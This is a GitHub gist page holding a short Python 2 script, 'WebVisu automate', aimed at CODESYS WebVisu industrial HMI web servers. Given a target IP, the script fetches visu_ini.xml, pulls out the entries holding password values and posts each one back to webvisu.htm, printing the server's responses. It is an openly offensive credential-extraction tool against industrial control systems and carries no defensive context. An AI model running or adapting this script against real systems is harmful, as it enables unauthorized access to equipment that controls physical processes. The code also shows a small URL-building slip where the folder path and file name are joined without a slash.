Skip to content

Instantly share code, notes, and snippets.

@smarek
Last active June 1, 2018 12:42
Show Gist options
  • Save smarek/baac1eb5ad5c07898789e34da8f3ceec to your computer and use it in GitHub Desktop.
Save smarek/baac1eb5ad5c07898789e34da8f3ceec to your computer and use it in GitHub Desktop.
WebVisu automate
#!/usr/bin/python
import requests #you might need to install requests separatelly
import sys
from IPy import IP
import re
if len(sys.argv) == 1:
print "Usage: webvisu.py <target ip address> <folder with webvisu.htm and visu_ini.xml>"
sys.exit(0)
try:
ip, separator, port = str(sys.argv[1]).partition(':')
IP(ip)
except ValueError:
print "IP address \"" + str(sys.argv[1]) + "\" is not valid"
sys.exit(1)
target_ip = str(sys.argv[1])
folder_path = str(sys.argv[2])
ini = requests.get("http://" + target_ip + "/" + folder_path + "/visu_ini.xml")
passwords = []
for line in ini.text.splitlines():
if "Password" in line:
stripline = re.search('>(.*)<', line).group(1)
passwords.append([stripline,line])
for mem in passwords:
req = "|0|1|0|" + mem[0].replace(",","|")
r = requests.post("http://" + target_ip + "/" + folder_path + "webvisu.htm", data=req)
print req
print mem[1]
print r.text
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment